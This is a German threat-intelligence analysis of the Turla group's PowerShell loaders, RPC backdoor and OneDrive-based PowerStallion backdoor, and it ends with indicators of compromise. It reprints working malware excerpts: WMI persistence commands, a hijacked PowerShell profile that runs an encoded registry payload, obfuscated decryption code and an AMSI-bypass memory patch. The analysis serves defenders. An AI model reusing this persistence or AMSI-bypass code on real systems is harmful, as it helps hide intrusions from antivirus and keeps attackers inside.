Turla aka Snake, ist eine berüchtigte Cyber-Spionage-Gruppierung und bekannt für ihre komplexe Malware. Um Entdeckungen durch Antiviren-Programme zu entgehen, verwendet Turla seit Kurzem PowerShell-Skripte, die das direkte Laden und Ausführen von ausführbaren Malware-Dateien und Schad-Bibliotheken im Arbeitsspeicher ermöglichen. Malware-Erkennungen aufgrund des Ablegens einer schädlichen Datei auf der Festplatte des Computers umgeht Turla damit.

Die Cyberkriminelle Vereinigung soll seit mindestens 2008 ihr Unwesen treiben. Damals wurde das US-Militär erfolgreich kompromittiert. In jüngerer Zeit war Turla an Angriffen gegen das deutsche Auswärtige Amt und das französische Militär beteiligt.

Bereits früher griffen die Turla-Operatoren auf in-memory-Loader zurück, um eine bessere Tarnung gegenüber Antiviren-Programmen zu erreichen. Im Jahr 2018 veröffentlichte Kaspersky Labs einen Bericht über die Analyse eines Turla PowerShell Loaders. Dieser basierte auf dem Open-Source Projekt Posh-SecMod. Insgesamt war der Loader sehr fehlerträchtig, was zu vielen Programm-Abstürzen führte.

Ein paar Monate später verbesserten die Turla-Entwickler die PowerShell-Skripte. Nun nutzen sie diese, um auf ein breites Malware-Spektrum aus ihrem „Waffen-Arsenal“ zugreifen zu können.

Typischerweise attackiert Turla recht prominente Ziele. Wir identifizierten verschiedene diplomatische Entitäten aus Ost-Europa, die mit Hilfe der PowerShell-Skripte kompromittiert wurden. Wahrscheinlich nutzt man die Skripte darüber hinaus auch gegen die etwas traditionelleren Ziele West- und Mitteleuropa.
Dieser Beitrag dient der Verteidigung gegen Turlas PowerShell-Skripte. Im Folgenden werden verschiedene Payloads präsentiert, wie die RPC-basierende Backdoor sowie das Hintertürchen, welches Microsofts OneDrive zum C&C-Server macht.

Turlas PowerShell-Loader

Prinzipiell zeichnet sich der PowerShell-Loader durch drei Aktivitäten aus: Erlangen von Persistenz, Entschlüsselung und Laden der eingebetteten Executable oder Programmbibliothek in den Arbeitsspeicher.

Erlangen von Persistenz

Die PowerShell-Skripte sind nicht bloß Dropper. Sie bleiben auf dem Computer-System bestehen und laden regelmäßig die eingebetteten ausführbaren Dateien in den Speicher. Wir beobachteten, dass die Turla-Operatoren zwei Persistenzmethoden verwenden:

• Eine Windows Management Instrumentation (WMI) Event Subscription
• Änderung des PowerShell-Profils (ps1-Datei)

Windows Management Instrumentation

Für den ersten Fall erschaffen die Cyber-Angreifer zwei WMI Event Filter & WMI Event Consumer. Bei dem Consumer handelt es sich um einfache Befehlszeilen, welche die Base64-codierten PowerShell-Befehle starten. Diese laden ein größeres PowerShell-Skript, dass in der Windows Registry gespeichert ist. Abbildung 1 verdeutlicht das Erlangen von Persistenz.

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject; 
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{name='Syslog Consumer';CommandLineTemplate="$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh";RunInteractively='false'};


Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'"| Remove-WmiObject; 
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'Log Adapter'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='Log Adapter Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
 
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'"| Remove-WmiObject; 
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'AD Bridge'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='AD Bridge Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};

Abbildung 1 – Persistenz durch die Verwendung von WMI

Die Events starten um 15:30:40 wenn das System bereits länger als 300 – 400 Sekunden im Betrieb ist. Die $HL39fjh-Variable enthält den in Abbildung 2 gezeigten base64-codierten PowerShell-Befehl. Sie liest den Windows-Registrierungsschlüssel, in dem die verschlüsselte Payload gespeichert ist, und enthält das Kennwort und das zum Entschlüsseln des Payloads erforderliche Salt.

[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

Abbildung 2 – WMI Consumer PowerShell-Befehl

Das Skript speichert die verschlüsselte Payload in der Windows Registry. Anscheinend gebraucht Turla für jedes Ziel einen anderen Registry-Speicherort. Aus diesem Grund ist der Speicherort kein nützlicher Indikator zum Erkennen einer Turla-Kompromittierung.

Profile.ps1

Im zweit genannten Fall ändern die Angreifer das PowerShell-Profil. In der Microsoft-Dokumentation heißt es:

Abbildung 3 zeigt ein von Turla modifiziertes PowerShell-Profil.

try
{
    $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} |  % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
    if ("$SystemProc" -ne "")
    {
      $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
      [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
      kill $PID;
    }
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}

Abbildung 3 – Hijacked profile.ps1-Datei

Der base64-codierte PowerShell-Befehl ist dem in dem WMI Consumer verwendeten Befehl sehr ähnlich.

Entschlüsselung

Die in der Windows Registry gespeicherte Payload ist ein weiteres PowerShell-Skript. Es entsteht mit Hilfe des Open-Source Skriptes Out-EncryptedScript.ps1 aus dem Penetrationstest-Framework PowerSploit. Außerdem werden die Variablennamen randomisiert, um das Skript zu chiffrieren (siehe Abbildung 4).

$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);

Abbildung 4 – Verschleierung von Out-EncryptedScript.ps1

Der Payload wird mit Hilfe des 3DES-Algoritmus entschlüsselt. Der Initialisierungsvektor, PINGQXOMQFTZGDZX in unserem Beispiel, unterscheidet sich für jedes Malware-Sample. Auch Entschlüsselungsschlüssel und Salt-Wert unterscheiden sich für jedes Skript und werden darin auch nicht gespeichert – nur im WMI Filter oder in der profile.ps1-Datei.

PE Loader

Die im vorherigen Schritt entschlüsselte Payload ist ein PowerShell-Reflective-Loader und basiert auf dem Invoke-ReflectivePEInjection.ps1- Skript aus demselben PowerSploit-Framework. Die Executable ist fest im Skript codiert und wird direkt in den Speicher eines zufällig ausgewählten Prozesses geladen, der bereits auf dem System ausgeführt wird.

In einigen Malware-Samples sind allerdings ein paar .exe-Dienste ausgeschlossen, in denen die schädliche Binary nicht geladen werden soll, wie Abbildung 5 zeigt:

$IgnoreNames = @("smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe");

Abbildung 5 – Beispielliste ausgeschlossener Prozesse

Interessanterweise beziehen sich die Namen avp.exe, avpsus.exe, klnagent.exe und vapm.exe auf Kaspersky Labs Executables. Es scheint so, als ob die Turla-Operatoren unbedingt vermeiden möchten, ihre Malware in Kaspersky-Dienste zu laden.

AMSI Bypass

In einigen seit März 2019 verbreiteten Samples modifizierten die Turla-Entwickler die PowerShell-Skripte, um das Antimalware Scan Interface (AMSI) zu umgehen. Dieses Interface erlaubt jeder Windows-Anwendung mit einem Antivirenprogramm verflochten zu sein. Das ist besonders gegen PowerShell-Malware und Makros nützlich.

Die Cyberkriminellen fanden nicht wirklich einen neuen Bypass, sie gebrauchten aber eine Technik wieder, die auf der Black Hat Asia 2018 vorgestellt wurde. Dabei handelt es sich um das In-Memory Patching am Funktionsanfang von AmsiScanBuffer in der amsi.dll-Bibliothek.

Das PowerShell-Skript lädt eine .NET-Executable, um an die Adresse von AmsiScanBuffer zu gelangen. Danach wird VirtualProtect aufgerufen. Damit kann an die abgerufene Adresse geschrieben werden.

Wie in Abbildung 6 dargestellt, erfolgt das Patching genau im PowerShell-Skript. Es modifiziert den Beginn von AmsiScanBuffer, um immer den Wert 1 (AMSI_RESULT_NOT_DETECTED) zurück zu erhalten. Auf diese Weise wird verhindert, dass ein Antivirenprogramm den Buffer erhält und ein Antimalware-Scan stattfindet.

$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
	Write-Host "protection not found"
}
else
{
	if([IntPtr]::size -eq 4)
	{
		Write-Host "x32 protection detected"
		$buf = New-Object Byte[] 7
		$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
		$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
	}
	else
	{
		Write-Host "x64 protection detected"
		$buf = New-Object Byte[] 6
		$buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3;  #mov eax, 1 ;ret;
		$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
	}

}

Abbildung 6 – Patching der AmsiScanBuffer-Funktion

Payloads der Turla-Malware

Die von uns vorgestellten PowerShell-Skripte sind generische Komponenten, die zum Laden verschiedener Payloads verwendet werden, z. B. für eine RPC-Backdoor oder eine PowerShell-Backdoor.

Die RPC-Backdoor

Turla entwickelte eine Reihe von digitalen Hintertürchen, die auf dem RPC-Protokoll basieren. Diese Backdoors werden dazu benutzt, um sich im anvisierten Computersystem um zu sehen und um auch die Kontrolle über andere im Netzwerk befindliche Computer an sich zu ziehen, ohne auf einen C&C-Server angewiesen zu sein.

Die implementierten Features sind recht grundlegend: Datei-Upload /-Download sowie Befehlsausführungen via CMD oder PowerShell. Die Malware kann durch weitere Plugins aufgerüstet werden.

Die RPC-Backdoor unterteilt sich in zwei Komponenten: einem Server und einem Client. Ein Malware-Operator nutzt die Client-Komponente, um Befehle auf einem fremden Computer auszuführen, auf dem die Server Komponente existiert. Abbildung 7 verdeutlicht das.

Abbildung 7: Funktionsüberblick der RPC-Backdoor

Beispielsweise ist das Sample mit dem folgenden SHA-1-Hash EC54EF8D79BF30B63C5249AF7A8A3C652595B923 eine Client-Version. Diese Komponente öffnet die Named Pipe \\pipe\\atctl mit der Protokollsequenz "ncacn_np" mit Hilfe der Funktion RpcStringBindingComposeW. Das Malware-Sample kann dann Befehle senden, in dem es die NdrClientCall2-Funktion aufruft. Das HandlerW ist für das Parsen der Argumente verantwortlich. Es zeigt, dass es auch möglich ist, anonyme Token nachzuahmen oder sogar Token von anderen Prozessen zu stehlen. Alles nur, um einen Befehl auszuführen. Der Server übernimmt die schwierigere Aufgabe und setzt die verschiedenen Befehle um. Zuerst wird überprüft ob der Registry-Wert HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes “atctl” enthält. Wenn dem so ist, legt der Server den Security Descriptor für das Pipe-Objekt auf „S:(ML;;NW;;;S-1-16-0)“ über die SetSecurityInfo -Funktion fest. Dadurch wird die Pipe für alle verfügbar (untrusted/anonymous Integrity Level).

Das folgende Bild zeigt den entsprechenden MIDL-Stub-Descriptor und die sich gleichende Syntax und Schnittstellen-ID.

Abbildung 8: Links die MIDL des RPC-Backdoor-Clients, rechts der Server

Wie bereits erwähnt, unterstützt die Backdoor auch das Laden von Plugins. Der Server erstellt einen Thread, der nach Dateien sucht, die dem folgenden Muster lPH * .dll entsprechen. Existiert eine solche Datei, wird sie geladen und ihre Exportfunktion ModuleStart aufgerufen. Unter den verschiedenen Plugins, die wir bisher gefunden haben, kann eines zuletzt verwendete Dateien und Dateien von USB-Sticks stehlen.

Viele dieser RPC-Backdoor-Varianten kommen in freier Wildbahn zum Einsatz. Unter einigen von ihnen haben wir lokale Proxys (mit upnprpc als Endpunkt und ncalrpc als Protokollsequenz) und neuere Versionen gesehen, in denen PowerShellRunner eingebettet ist, um Skripts direkt ohne Verwendung von powershell.exe auszuführen.

RPC Spoof Server

Während unseren Untersuchungen entdeckten wir auch portable Executable mit dem eigebetteten pdb-Pfad: C:\Users\Devel\source\repos\RPCSpoofer\x64\Release_Win2016_10\RPCSpoofServerInstall.pdb (SHA-1: 9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57).

Der Zweck des Utilitys besteht im Abrufen der RPC-Konfiguration des Prozesses, welcher ein Interface registriert hat. Um den Prozess zu finden, durchläuft es die TCP-Tabelle (über die GetTcpTable2-Funktion), bis es entweder den PID des Prozesses findet, der einen bestimmten Port geöffnet hat, oder den PID des Prozesses abruft, welcher eine bestimmte Named Pipe geöffnet hat. Sobald der PID gefunden wurde, liest das Utility den Speicher des Remote-Prozesses und versucht, die registrierte RPC-Schnittstelle abzurufen. Der in Abbildung 9 gezeigte Code scheint von einer Github-Repository gestohlen worden zu sein.

Abbildung 9: Code-Snippet, das nach der .data-Section aus der rpcrt4.dll eines Remote Prozesses sucht (Hex-Rays Screenshot)

Zunächst war nicht ganz verständlich, wie die erhaltenen Informationen genutzt werden würden, doch dann half uns ein anderes Sample (SHA-1: B948E25D061039D64115CFDE74D2FF4372E83765), zu verstehen.  Wie in Abbildung 10 zu sehen, erfasst das Sample das RPC Interface, setzt den Statusindikator auf RPC_IF_ALLOW_SECURE_ONLY und patcht die Dispatch-Tabelle im Speicher mit Hilfe der WriteProcessMemory-Funktion. Diese Aktionen ermöglichen dem Sample, seine RPC-Funktion zu einem bereits bestehenden RPC-Interface hinzuzufügen. Wir sind der Meinung, dass die Wiederverwendung eines bestehenden RPC-Interfaces eine größere Tarnwirkung erzielt, als das Kreieren eines eigenen.

Abbildung 10: Code-Snippet zeigt das erlangen der RPC Dispatch Table des aktuellen Prozesses (Hex-Rays Screenshot)

PowerStallion – OneDrive als C&C-Server

PowerStallion ist eine leichtgewichtige PowerShell-Backdoor, welche Microsofts OneDrive als C&C-Server gebraucht. Die Login-Informationen sind direkt im Code und gleich zu Beginn verankert, wie Abbildung 11 zeigt.

Abbildung 11: Microsoft OneDrive Login-Informationen im PowerStallion Skript

Interessanterweise benutzen die Turla-Operatoren wieder einmal den kostenfreien GMX E-Mail-Provider, wie schon beim Outlook Backdoor und in LightNeuron. Sie verwendeten auch den Namen eines echten Mitarbeiters eines anvisierten Ziels für eine E-Mail-Adresse.

Mit Hilfe des net use Befehls schafft man eine Verbindung zum Netzlaufwerk. Danach checkt PowerStallion mit Hilfe einer Schleife, wie in Abbildung 12 zu sehen, ob ein Kommando verfügbar ist. Die Backdoor ist ausschließlich in der Lage, zusätzliche PowerShell-Skripte auszuführen. Befehle-Resultate werden in einem OneDrive-Unterordner geschrieben und via XOR-Verschlüsselungsschlüssel 0xAA chiffriert.

Abbildung 12: Hauptschleife des PowerStallion Backdoors

Eine weitere aufschlussreiche Tatsache ist, dass das Skript die Modifikations-, Zugriffs- und Erstellungszeiten (MAC-Zeiten) des lokalen Logfiles anpasst, um mit den Zeiten von desktop.ini übereinzustimmen (Abbildung 13).

Abbildung 13: Modifizierung der MAC-Zeiten des lokalen Logfiles

Wir glauben, dass die PowerStallion Backdoor eine Art Recovery Access Tool darstellt, für den Fall, dass die zwei Turla Haupt-Hintertürchen Carbon und Gazer zufallen und die Turla-Operatoren nicht länger Zugriff auf die kompromittierten Computer besitzen. PowerStallion kommt außerdem für die folgenden Zwecke zum Einsatz:

• Überwachen von Antimalware-Logs
• Überwachen der Windows Prozess-Liste
• Installieren von ComRAT v4, eine Turla Second Stage Backdoor

Fazit

In einem WLS-Beitrag aus dem Jahr 2018 sagten wir voraus, dass Turla mehr und mehr auf generische Tools zugreifen würde. Unsere derzeitigen Untersuchungen bestätigten unsere Vermutungen nun und zeigen, dass die Turla-Gruppe nicht zögert, um auf Open-Source Pen-Testing-Frameworks für neue Kompromittierungen zurückzugreifen.

Das behindert die Zuordnung zu Turla allerdings keinesfalls. Cyber-Angreifer tendieren oft dazu, Open-Source-Tools für ihre Zwecke zu modifizieren. Dadurch ist es weiterhin möglich, verschiedene Aktivitäts-Cluster zu differenzieren.

Der Gebrauch von Open-Source-Tools bedeutet auch nicht, dass Turla keine eigene Malware mehr entwickelt. Die Payloads der PowerShell-Skripte, der RPC-Backdoor und von PowerStallion tragen recht deutlich die Handschrift von Turla. Die jüngste Analyse von Turla LightNeuron unterstützt die Tatsache, dass die Cyberkriminellen nach wie vor eigene komplexe Malware entwickeln.

Wir überwachen die Turla-Aktivitäten auch in Zukunft und veröffentlichen Neuigkeiten hier auf welivesecurity.de. Bei Fragen zur Turla-Malware oder zur Einreichung von Malware-Samples steht die folgende E-Mail-Adresse zur Verfügung: threatintel@eset.com.

Indicators of Compromise (IoCs)

Hashes

Filenames

• RPC components
  • %PUBLIC%\iCore.dat (log file, one-byte XOR 0x55)
  • \\pipe\\atctl (named pipe)
• PowerStallion
  • msctx.ps1
  • C:\Users\Public\Documents\desktop.db

Registry keys

• RPC components
  • HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contains atctl

MITRE ATT&CK